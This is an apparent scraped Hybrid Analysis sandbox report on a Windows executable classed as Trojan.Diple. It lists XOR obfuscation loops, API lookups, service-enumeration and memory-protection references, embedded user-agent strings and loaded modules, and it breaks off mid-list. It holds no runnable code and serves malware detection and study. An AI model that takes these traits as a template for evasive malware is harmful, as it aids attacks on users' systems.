24:I[7638,["/_next/static/chunks/1nkjstpmp978x.js","/_next/static/chunks/0g8d-v19n010u.js","/_next/static/chunks/2xonh_kqmr__3.js","/_next/static/chunks/3spet-0yezls2.js","/_next/static/chunks/2wvg5zqmbil4p.js","/_next/static/chunks/1l73s1hqiu28q.js","/_next/static/chunks/3l_wb6il5gi_h.js","/_next/static/chunks/136wug8odqdqr.js"],"SampleDetailWrapper"] 34:I[27201,["/_next/static/chunks/1nkjstpmp978x.js","/_next/static/chunks/0g8d-v19n010u.js","/_next/static/chunks/2xonh_kqmr__3.js","/_next/static/chunks/3spet-0yezls2.js"],"IconMark"] 23:T477,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious Trojan.Diple Sample b72c2c98b467… — Score 100/100 — Hybrid Analysis","description":"Malicious verdict for sample b72c2c98b467…. Malware family: Trojan.Diple. Threat score 100/100. 16/27 AV engines flagged this file. 6 malicious and 21 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/b72c2c98b4679c05706a07e069d75fb2a07a95c5c9009bb953a4ee414fa56e15","keywords":["Malicious","Trojan.Diple","malware analysis","sandbox report","threat intelligence","b72c2c98b4679c05706a07e069d75fb2a07a95c5c9009bb953a4ee414fa56e15"],"about":{"@type":"SoftwareApplication","name":"file","applicationCategory":["peexe","executable"],"identifier":"b72c2c98b4679c05706a07e069d75fb2a07a95c5c9009bb953a4ee414fa56e15","additionalType":"Malicious sample"},"threatScore":100,"malwareFamily":"Trojan.Diple","antivirusDetections":{"malicious":16,"total":27},"behavioralIndicators":{"malicious":6,"suspicious":21},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}25:Ta6d,Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00007580-54165-172-0041D889 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00007580-54165-172-0041D889 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00007580-54165-227-004262ED Assembly shows XOR instruction xor al 0Ah in Stream UID: 00000000-00007580-54165-252-004279CC Assembly shows XOR instruction xor eax 8A6C745Bh in Stream UID: 00000000-00007580-54165-252-004279CC Assembly shows XOR instruction xor al 54h in Stream UID: 00000000-00007580-54165-252-004279CC Assembly shows XOR instruction xor dword ptr [ebp-08h] eax in Stream UID: 00000000-00007580-54165-291-00427C20 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00007580-54165-291-00427C20 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00007580-54165-322-00424293 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00007580-54165-322-00424293 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00007580-54165-323-004268B3 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00007580-54165-323-004268B3 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00007580-54165-414-004237C8 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00007580-54165-414-004237C8 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00007580-54165-415-00425411 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00007580-54165-415-00425411 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00007580-54165-417-004253C8 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00007580-54165-417-004253C8 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00007580-54165-498-0041FCAA Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00007580-54165-498-0041FCAA Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00007580-54165-664-0041CAF8 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00007580-54165-664-0041CAF8 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00007580-54165-666-0041C845 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00007580-54165-666-0041C845 Assembly shows XOR instruction xor esi dword ptr [ebp-08h] in Stream UID: 00000000-00007580-54165-691-0042189C Assembly shows XOR instruction xor esi eax in Stream UID: 00000000-00007580-54165-691-0042189C Assembly shows XOR instruction xor eax dword ptr [ebp-10h] in Stream UID: 00000000-00007580-54165-691-0042189C26:T1f4e,Found XOR loop in file "sample.bin" at offset 81872; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 108542; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 147773; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 250733; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 350456; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 488508; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 605704; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 624914; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 666495; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 786507; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 813421; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 844619; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 854158; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 857319; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1105664; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1252489; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1256481; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1296306; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1320891; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 10679; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 10858; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 10919; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 14688; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 14879; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 14948; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 20205; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 20373; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 20438; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 25593; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 25759; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 25799; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 26195; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 26371; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 26442; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 31201; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 31303; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 31476; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 31543; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 32331; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 32507; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 32574; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 38685; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 38860; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 38931; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 39277; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 39453; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 39523; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 49772; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 49936; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 49990; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 52886; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 53071; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 53150; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 170755; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 238510; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 263412; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 268897; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 302931; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 311044; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 318997; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 380121; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 577734; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 627109; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 697761; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 727415; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 765116; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 765118; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 766630; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 795600; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 802319; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 882528; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 899315; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 900898; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 904837; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 971607; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1058670; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1080446; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1133911; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1195391; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1255843; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1259939; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1297587; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1313261; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1324961; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1337285; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1337460; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1337520; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 113134; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 246463; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 286803; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 429265; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 532911; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 574388; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 616905; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 664517; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 769134; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 820093; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 859250; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 883442; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 896033; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 938532; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 944209; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 958873; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 958884; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 963689; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 978557; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1011270; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1042321; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1098421; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1294296; code bytes = 803027:T80e,"b72c2c98b4679c05706a07e069d75fb2a07a95c5c9009bb953a4ee414fa56e15.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00007580) "b72c2c98b4679c05706a07e069d75fb2a07a95c5c9009bb953a4ee414fa56e15.exe" called "RtlGetVersion" with parameter 240100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00007580) "b72c2c98b4679c05706a07e069d75fb2a07a95c5c9009bb953a4ee414fa56e15.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00007580)28:T1dcc,"b72c2c98b4679c05706a07e069d75fb2a07a95c5c9009bb953a4ee414fa56e15.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionEx (UID: 00000000-00007580) "b72c2c98b4679c05706a07e069d75fb2a07a95c5c9009bb953a4ee414fa56e15.exe" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00007580) "b72c2c98b4679c05706a07e069d75fb2a07a95c5c9009bb953a4ee414fa56e15.exe" called "GetProcAddress" with a parameter FlsSetValue (UID: 00000000-00007580) "b72c2c98b4679c05706a07e069d75fb2a07a95c5c9009bb953a4ee414fa56e15.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00007580) "b72c2c98b4679c05706a07e069d75fb2a07a95c5c9009bb953a4ee414fa56e15.exe" called "GetProcAddress" with a parameter LCMapStringEx (UID: 00000000-00007580) "b72c2c98b4679c05706a07e069d75fb2a07a95c5c9009bb953a4ee414fa56e15.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00007580) "b72c2c98b4679c05706a07e069d75fb2a07a95c5c9009bb953a4ee414fa56e15.exe" called "GetProcAddress" with a parameter InitOnceExecuteOnce (UID: 00000000-00007580) "b72c2c98b4679c05706a07e069d75fb2a07a95c5c9009bb953a4ee414fa56e15.exe" called "GetProcAddress" with a parameter CreateEventExW (UID: 00000000-00007580) "b72c2c98b4679c05706a07e069d75fb2a07a95c5c9009bb953a4ee414fa56e15.exe" called "GetProcAddress" with a parameter CreateSemaphoreW (UID: 00000000-00007580) "b72c2c98b4679c05706a07e069d75fb2a07a95c5c9009bb953a4ee414fa56e15.exe" called "GetProcAddress" with a parameter CreateSemaphoreExW (UID: 00000000-00007580) "b72c2c98b4679c05706a07e069d75fb2a07a95c5c9009bb953a4ee414fa56e15.exe" called "GetProcAddress" with a parameter CreateThreadpoolTimer (UID: 00000000-00007580) "b72c2c98b4679c05706a07e069d75fb2a07a95c5c9009bb953a4ee414fa56e15.exe" called "GetProcAddress" with a parameter SetThreadpoolTimer (UID: 00000000-00007580) "b72c2c98b4679c05706a07e069d75fb2a07a95c5c9009bb953a4ee414fa56e15.exe" called "GetProcAddress" with a parameter WaitForThreadpoolTimerCallbacks (UID: 00000000-00007580) "b72c2c98b4679c05706a07e069d75fb2a07a95c5c9009bb953a4ee414fa56e15.exe" called "GetProcAddress" with a parameter CloseThreadpoolTimer (UID: 00000000-00007580) "b72c2c98b4679c05706a07e069d75fb2a07a95c5c9009bb953a4ee414fa56e15.exe" called "GetProcAddress" with a parameter CreateThreadpoolWait (UID: 00000000-00007580) "b72c2c98b4679c05706a07e069d75fb2a07a95c5c9009bb953a4ee414fa56e15.exe" called "GetProcAddress" with a parameter SetThreadpoolWait (UID: 00000000-00007580) "b72c2c98b4679c05706a07e069d75fb2a07a95c5c9009bb953a4ee414fa56e15.exe" called "GetProcAddress" with a parameter CloseThreadpoolWait (UID: 00000000-00007580) "b72c2c98b4679c05706a07e069d75fb2a07a95c5c9009bb953a4ee414fa56e15.exe" called "GetProcAddress" with a parameter FlushProcessWriteBuffers (UID: 00000000-00007580) "b72c2c98b4679c05706a07e069d75fb2a07a95c5c9009bb953a4ee414fa56e15.exe" called "GetProcAddress" with a parameter FreeLibraryWhenCallbackReturns (UID: 00000000-00007580) "b72c2c98b4679c05706a07e069d75fb2a07a95c5c9009bb953a4ee414fa56e15.exe" called "GetProcAddress" with a parameter GetCurrentProcessorNumber (UID: 00000000-00007580) "b72c2c98b4679c05706a07e069d75fb2a07a95c5c9009bb953a4ee414fa56e15.exe" called "GetProcAddress" with a parameter CreateSymbolicLinkW (UID: 00000000-00007580) "b72c2c98b4679c05706a07e069d75fb2a07a95c5c9009bb953a4ee414fa56e15.exe" called "GetProcAddress" with a parameter GetCurrentPackageId (UID: 00000000-00007580) "b72c2c98b4679c05706a07e069d75fb2a07a95c5c9009bb953a4ee414fa56e15.exe" called "GetProcAddress" with a parameter GetTickCount64 (UID: 00000000-00007580) "b72c2c98b4679c05706a07e069d75fb2a07a95c5c9009bb953a4ee414fa56e15.exe" called "GetProcAddress" with a parameter GetFileInformationByHandleEx (UID: 00000000-00007580) "b72c2c98b4679c05706a07e069d75fb2a07a95c5c9009bb953a4ee414fa56e15.exe" called "GetProcAddress" with a parameter SetFileInformationByHandle (UID: 00000000-00007580) "b72c2c98b4679c05706a07e069d75fb2a07a95c5c9009bb953a4ee414fa56e15.exe" called "GetProcAddress" with a parameter GetSystemTimePreciseAsFileTime (UID: 00000000-00007580) "b72c2c98b4679c05706a07e069d75fb2a07a95c5c9009bb953a4ee414fa56e15.exe" called "GetProcAddress" with a parameter InitializeConditionVariable (UID: 00000000-00007580) "b72c2c98b4679c05706a07e069d75fb2a07a95c5c9009bb953a4ee414fa56e15.exe" called "GetProcAddress" with a parameter WakeConditionVariable (UID: 00000000-00007580) "b72c2c98b4679c05706a07e069d75fb2a07a95c5c9009bb953a4ee414fa56e15.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00007580) "b72c2c98b4679c05706a07e069d75fb2a07a95c5c9009bb953a4ee414fa56e15.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00007580) "b72c2c98b4679c05706a07e069d75fb2a07a95c5c9009bb953a4ee414fa56e15.exe" called "GetProcAddress" with a parameter InitializeSRWLock (UID: 00000000-00007580) "b72c2c98b4679c05706a07e069d75fb2a07a95c5c9009bb953a4ee414fa56e15.exe" called "GetProcAddress" with a parameter AcquireSRWLockExclusive (UID: 00000000-00007580) "b72c2c98b4679c05706a07e069d75fb2a07a95c5c9009bb953a4ee414fa56e15.exe" called "GetProcAddress" with a parameter TryAcquireSRWLockExclusive (UID: 00000000-00007580) "b72c2c98b4679c05706a07e069d75fb2a07a95c5c9009bb953a4ee414fa56e15.exe" called "GetProcAddress" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00007580) "b72c2c98b4679c05706a07e069d75fb2a07a95c5c9009bb953a4ee414fa56e15.exe" called "GetProcAddress" with a parameter SleepConditionVariableSRW (UID: 00000000-00007580) "b72c2c98b4679c05706a07e069d75fb2a07a95c5c9009bb953a4ee414fa56e15.exe" called "GetProcAddress" with a parameter CreateThreadpoolWork (UID: 00000000-00007580) "b72c2c98b4679c05706a07e069d75fb2a07a95c5c9009bb953a4ee414fa56e15.exe" called "GetProcAddress" with a parameter SubmitThreadpoolWork (UID: 00000000-00007580) "b72c2c98b4679c05706a07e069d75fb2a07a95c5c9009bb953a4ee414fa56e15.exe" called "GetProcAddress" with a parameter CloseThreadpoolWork (UID: 00000000-00007580) "b72c2c98b4679c05706a07e069d75fb2a07a95c5c9009bb953a4ee414fa56e15.exe" called "GetProcAddress" with a parameter CompareStringEx (UID: 00000000-00007580) "b72c2c98b4679c05706a07e069d75fb2a07a95c5c9009bb953a4ee414fa56e15.exe" called "GetProcAddress" with a parameter GetLocaleInfoEx (UID: 00000000-00007580) "b72c2c98b4679c05706a07e069d75fb2a07a95c5c9009bb953a4ee414fa56e15.exe" called "GetProcAddress" with a parameter AreFileApisANSI (UID: 00000000-00007580) "b72c2c98b4679c05706a07e069d75fb2a07a95c5c9009bb953a4ee414fa56e15.exe" called "GetProcAddress" with a parameter RtlGetVersion (UID: 00000000-00007580) "b72c2c98b4679c05706a07e069d75fb2a07a95c5c9009bb953a4ee414fa56e15.exe" called "GetProcAddress" with a parameter CoCreateInstance (UID: 00000000-00007580) "b72c2c98b4679c05706a07e069d75fb2a07a95c5c9009bb953a4ee414fa56e15.exe" called "GetProcAddress" with a parameter CoCreateInstanceEx (UID: 00000000-00007580) "b72c2c98b4679c05706a07e069d75fb2a07a95c5c9009bb953a4ee414fa56e15.exe" called "GetProcAddress" with a parameter CoGetClassObject (UID: 00000000-00007580) "b72c2c98b4679c05706a07e069d75fb2a07a95c5c9009bb953a4ee414fa56e15.exe" called "GetProcAddress" with a parameter CoGetInstanceFromFile (UID: 00000000-00007580) "b72c2c98b4679c05706a07e069d75fb2a07a95c5c9009bb953a4ee414fa56e15.exe" called "GetProcAddress" with a parameter CoGetInstanceFromIStorage (UID: 00000000-00007580) "b72c2c98b4679c05706a07e069d75fb2a07a95c5c9009bb953a4ee414fa56e15.exe" called "GetProcAddress" with a parameter _set_invalid_parameter_handler (UID: 00000000-00007580)29:T167c,Found reference to API (Indicator: "OpenServiceW"; File: "b72c2c98b4679c05706a07e069d75fb2a07a95c5c9009bb953a4ee414fa56e15") Found reference to API (Indicator: "RegQueryValueExA"; File: "b72c2c98b4679c05706a07e069d75fb2a07a95c5c9009bb953a4ee414fa56e15") Found reference to API (Indicator: "QueryServiceConfigW"; File: "b72c2c98b4679c05706a07e069d75fb2a07a95c5c9009bb953a4ee414fa56e15") Found reference to API (Indicator: "CloseServiceHandle"; File: "b72c2c98b4679c05706a07e069d75fb2a07a95c5c9009bb953a4ee414fa56e15") Found reference to API (Indicator: "OpenSCManagerW"; File: "b72c2c98b4679c05706a07e069d75fb2a07a95c5c9009bb953a4ee414fa56e15") Found reference to API (Indicator: "EnumServicesStatusExW"; File: "b72c2c98b4679c05706a07e069d75fb2a07a95c5c9009bb953a4ee414fa56e15") Found reference to API (Indicator: "SetProcessAffinityMask"; File: "b72c2c98b4679c05706a07e069d75fb2a07a95c5c9009bb953a4ee414fa56e15") Found reference to API (Indicator: "GetLastError"; File: "b72c2c98b4679c05706a07e069d75fb2a07a95c5c9009bb953a4ee414fa56e15") Found reference to API (Indicator: "GetProcessAffinityMask"; File: "b72c2c98b4679c05706a07e069d75fb2a07a95c5c9009bb953a4ee414fa56e15") Found reference to API (Indicator: "CloseHandle"; File: "b72c2c98b4679c05706a07e069d75fb2a07a95c5c9009bb953a4ee414fa56e15") Found reference to API (Indicator: "ExitProcess"; File: "b72c2c98b4679c05706a07e069d75fb2a07a95c5c9009bb953a4ee414fa56e15") Found reference to API (Indicator: "FreeLibrary"; File: "b72c2c98b4679c05706a07e069d75fb2a07a95c5c9009bb953a4ee414fa56e15") Found reference to API (Indicator: "GetModuleFileNameW"; File: "b72c2c98b4679c05706a07e069d75fb2a07a95c5c9009bb953a4ee414fa56e15") Found reference to API (Indicator: "SetThreadAffinityMask"; File: "b72c2c98b4679c05706a07e069d75fb2a07a95c5c9009bb953a4ee414fa56e15") Found reference to API (Indicator: "Sleep"; File: "b72c2c98b4679c05706a07e069d75fb2a07a95c5c9009bb953a4ee414fa56e15") Found reference to API (Indicator: "GetCurrentProcess"; File: "b72c2c98b4679c05706a07e069d75fb2a07a95c5c9009bb953a4ee414fa56e15") Found reference to API (Indicator: "LocalFree"; File: "b72c2c98b4679c05706a07e069d75fb2a07a95c5c9009bb953a4ee414fa56e15") Found reference to API (Indicator: "LocalAlloc"; File: "b72c2c98b4679c05706a07e069d75fb2a07a95c5c9009bb953a4ee414fa56e15") Found reference to API (Indicator: "LoadLibraryA"; File: "b72c2c98b4679c05706a07e069d75fb2a07a95c5c9009bb953a4ee414fa56e15") Found reference to API (Indicator: "GetModuleHandleA"; File: "b72c2c98b4679c05706a07e069d75fb2a07a95c5c9009bb953a4ee414fa56e15") Found reference to API (Indicator: "GetCurrentThread"; File: "b72c2c98b4679c05706a07e069d75fb2a07a95c5c9009bb953a4ee414fa56e15") Found reference to API (Indicator: "CharUpperBuffW"; File: "b72c2c98b4679c05706a07e069d75fb2a07a95c5c9009bb953a4ee414fa56e15") Found reference to API (Indicator: "WTSSendMessageW"; File: "b72c2c98b4679c05706a07e069d75fb2a07a95c5c9009bb953a4ee414fa56e15") Found reference to API (Indicator: "EncodePointer"; File: "00000000-00007580.00000000.178257.00409000.00000020.mdmp") Found reference to API (Indicator: "DecodePointer"; File: "00000000-00007580.00000000.178257.00409000.00000020.mdmp") Found reference to API (Indicator: "MessageBoxA"; File: "00000000-00007580.00000000.178257.00409000.00000020.mdmp") Found reference to API (Indicator: "GetActiveWindow"; File: "00000000-00007580.00000000.178257.00409000.00000020.mdmp") Found reference to API (Indicator: "GetLastActivePopup"; File: "00000000-00007580.00000000.178257.00409000.00000020.mdmp") Found reference to API (Indicator: "GetUserObjectInformationA"; File: "00000000-00007580.00000000.178257.00409000.00000020.mdmp") Found reference to API (Indicator: "GetProcessWindowStation"; File: "00000000-00007580.00000000.178257.00409000.00000020.mdmp") Found reference to API (Indicator: "FlsAlloc"; File: "00000000-00007580.00000000.178257.00409000.00000020.mdmp") Found reference to API (Indicator: "FlsGetValue"; File: "00000000-00007580.00000000.178257.00409000.00000020.mdmp") Found reference to API (Indicator: "FlsSetValue"; File: "00000000-00007580.00000000.178257.00409000.00000020.mdmp") Found reference to API (Indicator: "FlsFree"; File: "00000000-00007580.00000000.178257.00409000.00000020.mdmp") Found reference to API (Indicator: "EncodePointer"; Source: "00000000-00007580.00000000.178257.00409000.00000020.mdmp") Found reference to API (Indicator: "DecodePointer"; Source: "00000000-00007580.00000000.178257.00409000.00000020.mdmp") Found reference to API (Indicator: "FlsFree"; Source: "00000000-00007580.00000000.178257.00409000.00000020.mdmp") Found reference to API (Indicator: "FlsSetValue"; Source: "00000000-00007580.00000000.178257.00409000.00000020.mdmp") Found reference to API (Indicator: "FlsGetValue"; Source: "00000000-00007580.00000000.178257.00409000.00000020.mdmp") Found reference to API (Indicator: "FlsAlloc"; Source: "00000000-00007580.00000000.178257.00409000.00000020.mdmp") Found reference to API (Indicator: "GetProcessWindowStation"; Source: "00000000-00007580.00000000.178257.00409000.00000020.mdmp") Found reference to API (Indicator: "GetUserObjectInformationA"; Source: "00000000-00007580.00000000.178257.00409000.00000020.mdmp") Found reference to API (Indicator: "GetLastActivePopup"; Source: "00000000-00007580.00000000.178257.00409000.00000020.mdmp") Found reference to API (Indicator: "GetActiveWindow"; Source: "00000000-00007580.00000000.178257.00409000.00000020.mdmp") Found reference to API (Indicator: "MessageBoxA"; Source: "00000000-00007580.00000000.178257.00409000.00000020.mdmp") Found reference to API (Indicator: "NtProtectVirtualMemory"; Source: "00000000-00007580.00000001.178886.039B0000.00000004.mdmp")2a:T468,Found string "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)" (Indicator: "mozilla/4.0 ("; File: "00000000-00007580.00000000.178257.00409000.00000020.mdmp") Found string "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)" (Indicator: "mozilla/4.0 ("; Source: "00000000-00007580.00000000.178257.00409000.00000020.mdmp") Found string "User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; BOIE9;ENUSMSE)" (Indicator: "mozilla/5.0 ("; Source: "00000000-00007580.00000000.178257.033C0000.00000004.mdmp, 00000000-00007580.00000001.178886.033C0000.00000004.mdmp") Found string "User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; BOIE9;ENUSMSE)" (Indicator: "user-agent: "; Source: "00000000-00007580.00000000.178257.033C0000.00000004.mdmp, 00000000-00007580.00000001.178886.033C0000.00000004.mdmp") Found string "User-AgentMozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; BOIE9;ENUSMSE)" (Indicator: "mozilla/5.0 ("; Source: "00000000-00007580.00000000.178257.033C0000.00000004.mdmp, 00000000-00007580.00000001.178886.033C0000.00000004.mdmp")2b:T7ee,"b72c2c98b4679c05706a07e069d75fb2a07a95c5c9009bb953a4ee414fa56e15.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 75cf0000 "b72c2c98b4679c05706a07e069d75fb2a07a95c5c9009bb953a4ee414fa56e15.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 75cf0000 "b72c2c98b4679c05706a07e069d75fb2a07a95c5c9009bb953a4ee414fa56e15.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 75cf0000 "b72c2c98b4679c05706a07e069d75fb2a07a95c5c9009bb953a4ee414fa56e15.exe" loaded module "KERNEL32" at base 76050000 "b72c2c98b4679c05706a07e069d75fb2a07a95c5c9009bb953a4ee414fa56e15.exe" loaded module "WININET" at base 72c40000 "b72c2c98b4679c05706a07e069d75fb2a07a95c5c9009bb953a4ee414fa56e15.exe" loaded module "KERNEL32.DLL" at base 76050000 "b72c2c98b4679c05706a07e069d75fb2a07a95c5c9009bb953a4ee414fa56e15.exe" loaded module "RPCRT4.DLL" at base 74cf0000 "b72c2c98b4679c05706a07e069d75fb2a07a95c5c9009bb953a4ee414fa56e15.exe" loaded module "SSPICLI.DLL" at base 74390000 "b72c2c98b4679c05706a07e069d75fb2a07a95c5c9009bb953a4ee414fa56e15.exe" loaded module "USER32.DLL" at base 74540000 "b72c2c98b4679c05706a07e069d75fb2a07a95c5c9009bb953a4ee414fa56e15.exe" loaded module 